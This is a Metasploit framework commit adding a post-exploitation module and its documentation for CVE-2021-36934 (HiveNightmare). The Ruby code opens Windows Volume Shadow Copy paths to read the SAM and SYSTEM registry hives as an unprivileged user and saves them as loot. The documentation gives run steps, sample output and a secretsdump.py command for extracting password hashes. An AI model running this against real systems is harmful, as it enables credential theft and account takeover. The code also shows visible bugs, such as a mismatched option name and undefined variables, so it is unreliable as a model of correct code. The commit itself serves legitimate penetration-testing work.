Land #15462, [CVE-2021-36934] HiveNightmare

This commit is contained in:
Spencer McIntyre 2021-07-29 12:53:48 -04:00
commit dba3db741a
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
2 changed files with 209 additions and 0 deletions

View File

@ -0,0 +1,69 @@
## Vulnerable Application
### Description
Due to mismanagement of SAM and SYSTEM hives in Windows 10, it is possible for an unprivileged
user to read those files. But, as they are locked while Windows is running we are not able
to read them directly. The trick is to take advantage of Volume Shadow Copy, which is generally
enabled, to finally have a read access. Once SAM and SYSTEM files are successfully dumped and
stored in `store_loot`, you can dump the hashes with some external scripts like secretsdump.py
### Installation
VSS is probably already enabled on your Windows 10, if you want to be sure you can follow the steps below:
* Open the control panel
* Navigate to `System and Security > System`
* Select `System Protection` from the column on the left
* See in `Protection Settings` list if t drive protection is enabled
* Optionally, select `Create` to "Create a resptore point right now..."
* This is necessary if the module can not find an existing Shadow Copy file which can be the case if the Windows
instance is brand new
Be aware that you will need Administrator privileges to follow those steps.
You can read more [here](https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652).
## Verification Steps
1. Start `msfconsole`
2. `use post/windows/gather/credentials/windows_sam_hivenightmare`
3. `set ITERATIONS <number>` to specify the number of iterations on file index (default is 10)
4. `set FILE_INDEX <number>` optionally if you want to target a specific file index instead of iterating on all indexes in a range
5. `run` the module to exploit the vulnerability and potentially leak SAM and SYSTEM files
## Options
### ITERATIONS
Set ITERATIONS to specify the number of iterations on Shadow Copy file index.
Windows is saving those files under the volume name `HarddiskVolumeShadowCopy<index>`.
By default, this module is bruteforcing that `index` value by trying all values between 0 and 10, which you can change if needed.
### FILE_INDEX
Set FILE_INDEX if you want to target a specific index instead of the default behaviour which bruteforces all indexes in a given range.
## Scenarios
This module was successfully tested on Windows 10 20H2.
See the following output:
```
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > run
[+] SAM data found in HarddiskVolumeShadowCopy1!
[+] Retrieving files of index 1 as they are the most recently modified...
[+] SAM data saved at /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
[+] SYSTEM data saved at /home/smcintyre/.msf4/loot/20210729113926_default_192.168.159.15_windows.system_202176.bin
[+] SAM and SYSTEM data were leaked!
[*] Post module execution completed
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
[*] exec: file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin
/home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin: MS Windows registry file, NT/2000 or above
msf6 post(windows/gather/credentials/windows_sam_hivenightmare) >
```
Then, you can dump the hashes from leaked files with `secretsdump.py` for instance:
`python3 secretsdump.py -sam <SAM_FILE> -system <SYSTEM_FILE> LOCAL`

View File

@ -0,0 +1,140 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows SAM secrets leak - HiveNightmare',
'Description' => %q{
Due to mismanagement of SAM and SYSTEM hives in Windows 10, it is possible for an unprivileged
user to read those files. But, as they are locked while Windows is running we are not able
to read them directly. The trick is to take advantage of Volume Shadow Copy, which is generally
enabled, to finally have a read access. Once SAM and SYSTEM files are successfully dumped and
stored in `store_loot`, you can dump the hashes with some external scripts like secretsdump.py
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kevin Beaumont', # Discovery and original POC on www.github.com
'romarroca', # POC on www.github.com
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module
],
'References' =>
[
['CVE', '2021-36934'],
['URL', 'https://github.com/GossiTheDog/HiveNightmare'],
['URL', 'https://isc.sans.edu/diary/Summer+of+SAM+-+incorrect+permissions+on+Windows+1011+hives/27652'],
['URL', 'https://github.com/romarroca/SeriousSam']
],
'DisclosureDate' => '2021-07-20',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Notes' =>
{
'AKA' => [ 'HiveNightmare', 'SeriousSAM' ],
'Reliability' => [ ],
'SideEffects' => [ ],
'Stability' => [ CRASH_SAFE ]
}
)
)
register_options([
OptInt.new('ITERATIONS', [true, 'Number of iterations on Shadow Copy file index', 10]),
OptInt.new('FILE_INDEX', [false, 'Optional index parameter to retrieve a specific Shadow Copy file', nil])
])
end
def check_path(path)
r = session.railgun.kernel32.CreateFileA(path, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_NORMAL', nil)
if r['GetLastError'] == 0
return r['return']
end
nil
end
def read_file(handle)
buffer_size = 100000
res_reading = client.railgun.kernel32.ReadFile(handle, buffer_size, buffer_size, 4, nil)
data = res_reading['lpBuffer'][0...res_reading['lpNumberOfBytesRead']]
while res_reading['lpNumberOfBytesRead'] == buffer_size
res_reading = client.railgun.kernel32.ReadFile(handle, buffer_size, buffer_size, 4, nil)
data += res_reading['lpBuffer'][0...res_reading['lpNumberOfBytesRead']]
end
client.railgun.kernel32.CloseHandle(handle)
data
end
def loot_files(sam_handle, index)
path = store_loot(
'windows.sam',
'',
session,
read_file(sam_handle)
)
print_good("SAM data saved at #{path}")
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{index}\\Windows\\System32\\config\\SYSTEM")
fail_with(Failure::UnexpectedReply, "Can't open SYSTEM file!") unless handle
path = store_loot(
'windows.system',
'',
session,
read_file(handle)
)
print_good("SYSTEM data saved at #{path}")
print_good('SAM and SYSTEM data were leaked!')
end
def run
if datastore['FILE_INDEX']
fail_with(Failure::BadConfig, 'Please specify a non-negative file index!') unless datastore['FILE_INDEX'] >= 0
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{datastore['FILE_INDEX']}\\Windows\\System32\\config\\SAM")
if handle
print_good("SAM data found in HarddiskVolumeShadowCopy#{i}!")
print_good("Retrieving files of index #{index_most_recent_shadow_copy}...")
loot_files(handle, datastore['FILE_INDEX'])
end
else
fail_with(Failure::BadConfig, 'Please specify an iteration number greater than 0!') unless datastore['ITERATIONS'] > 0
most_recent_time = nil
most_recent_shadow_copy = nil
index_most_recent_shadow_copy = -1
for i in 0..datastore['NBRE_ITER']
handle = check_path("\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy#{i}\\Windows\\System32\\config\\SAM")
next unless handle
print_good("SAM data found in HarddiskVolumeShadowCopy#{i}!")
tmp_time = client.railgun.kernel32.GetFileTime(handle, 4, 4, 4)['lpLastWriteTime']
next unless (index_most_recent_shadow_copy == -1) || (client.railgun.kernel32.CompareFileTime(most_recent_time, tmp_time)['return'] < 0)
if most_recent_shadow_copy
client.railgun.kernel32.CloseHandle(most_recent_shadow_copy)
end
most_recent_time = tmp_time
most_recent_shadow_copy = handle
index_most_recent_shadow_copy = i
end
if index_most_recent_shadow_copy != -1
print_good("Retrieving files of index #{index_most_recent_shadow_copy} as they are the most recently modified...")
loot_files(most_recent_shadow_copy, index_most_recent_shadow_copy)
else
print_error('No Shadow Copy files were found! Maybe you can try again with a greater iteration number...')
end
end
end
end